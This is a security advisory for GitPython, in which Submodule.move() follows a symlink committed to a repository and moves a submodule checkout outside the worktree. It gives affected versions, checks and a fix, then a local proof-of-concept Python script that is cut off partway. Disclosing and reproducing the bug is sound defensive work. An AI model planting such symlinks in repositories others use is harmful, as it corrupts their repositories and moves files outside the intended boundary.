---
id: "GHSA-gq48-pqfc-9p58"
kind: "vulnerability"
aliases: ["GHSA-gq48-pqfc-9p58"]
title: "GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree"
severity: "medium"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "GitPython", "fixed": ["3.2.0"], "affected": "< 3.2.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci", "cwe-22", "cwe-59", "git-clone-untrusted-repos", "gitpython", "package", "python", "self-hosted"]
not_affected_if: ["no-submodule-move-calls", "trusted-repos-only", "windows-no-symlinks"]
published_at: "2026-10-27T15:26:57+00:00"
first_seen_at: "2026-10-27T15:28:57+00:00"
updated_at: "2026-10-27T15:29:28+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-gq48-pqfc-9p58", "first_seen_at": "2026-10-27T15:28:57+00:00"}]
---

# GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree

GitPython's Submodule.move() checks that a destination is lexically inside the repository but does not reject an intermediate symlink, so a malicious repository can redirect a move outside the worktree. The attacker gets an initialized submodule checkout moved to an arbitrary existing directory and the parent repository's index and configuration corrupted, with no code execution or confidentiality impact demonstrated.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:GitPython affected < 3.2.0 fixed 3.2.0

## How to check

- Run `pip show GitPython` and confirm the installed version is below `3.2.0`.
- Search application code for calls to `Submodule.move(` where the destination path could sit below a path committed as a symlink in an untrusted repository.

## Fix

- Upgrade GitPython to `3.2.0` or later.
- Until upgraded, avoid calling `Submodule.move()` on repositories you do not trust, or validate that no intermediate path component is a symlink before calling it.

## Timeline

- 2026-10-27T15:28:57+00:00 ghsa https://github.com/advisories/GHSA-gq48-pqfc-9p58

## From the sources

## Summary

GitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.

The reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.

The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.

## Trust boundary and preconditions

The attacker controls:

- an untrusted Git repository that the application clones;
- a mode-`120000` tracked symlink named `vendor`;
- the initialized submodule's content.

The consuming application controls the call and uses a fixed layout rule:

```python
submodule.move("vendor/module")
```

The trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.

## Product and directly verified revisions

- Package: `GitPython` (`pip` ecosystem)
- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`
- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`
- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`
- Upstream state rechecked: 2026-09-10 KST

Only these two revisions were directly tested.

## Severity and weakness

The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.

For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.

No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.

## Reproducer

The following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.

Run it from a fresh source checkout:

```bash
git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython
```

`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.

```python
#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""

from __future__ import annotations

import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional


def run_git(
    *args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
    command = [
        "git",
        "-c",
        "user.name=GitPython security fixture",
        "-c",
        "user.email=fixture@example.invalid",
        "-c",
        "protocol.file.allow=always",
        *args,
    ]
    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)


def read_core_worktree(parent) -> str:
    module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
    return parent.git.config("--file", str(module_config), "--get", "core.worktree")


def read_gitmodules_path(parent) -> str:
    modules_file = Path(parent.working_tree_dir) / ".gitmodules"
    return parent.git.config(
        "--file", str(modules_file), "--get", "submodule.logical-name.path"
    )


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("source_root", type=Path, help="GitPython source checkout")
    parser.add_argument(
        "--absolute-link",
        action="store_true",
        help=(
            "Use the temporary external directory's absolute path as the committed "
            "symlink target"
        ),
    )
    args = parser.parse_args()

    source_root = args.source_root.resolve()
    # The tested GitPython source trees include gitdb and smmap at their roots.
    sys.path[:0] = [
        str(source_root),
        str(source_root / "gitdb"),
        str(source_root / "smmap"),
    ]
    import gitdb  # pylint: disable=import-outside-toplevel
    import smmap  # pylint: disable=import-outside-toplevel
    from git import Repo  # pylint: disable=import-outside-toplevel

    with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
        root = Path(temporary)
        module_source = root / "module-source"
        attacker = root / "attacker-parent"
        victim = root / "victim-parent"
        outside = root / "outside"

        run_git("init", "--quiet", str(module_source))
        (module_source / "SELF_GENERATED_CANARY.txt").write_text(
            "SELF_GENERATED_CANARY\n", encoding="utf-8"
        )
        run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
        run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)

        outside.mkdir()
        run_git("init", "--quiet", str(attacker))
        run_git(
            "submodule",
            "add",
            "--quiet",
            "--name",
            "logical-name",
            str(module_source),
            "module",
            cwd=attacker,
        )
        link_target = str(outside.resolve()) if args.absolute_link else "../outside"
        (attacker / "vendor").symlink_to(link_target, target_is_directory=True)
        run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
        run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)

        run_git("clone", "--quiet", str(attacker), str(victim))
        run_git("submodule", "update", "--init", "--quiet", cwd=victim)

        parent = Repo(victim)
        submodule = parent.submodule("logical-name")
        before = {
            "status": parent.git.status("--porcelain"),
            "write_tree": parent.git.write_tree(),
            "vendor_index": parent.git.ls_files("--stage", "vendor"),
            "index_paths": parent.git.ls_files().splitlines(),
            "gitmodules_path": read_gitmodules_path(parent),
            "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
            "external_canary": (
                outside / "module" / "SELF_GENERATED_CANARY.txt"
            ).exists(),
            "module_core_worktree": read_core_worktree(parent),
        }

        

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
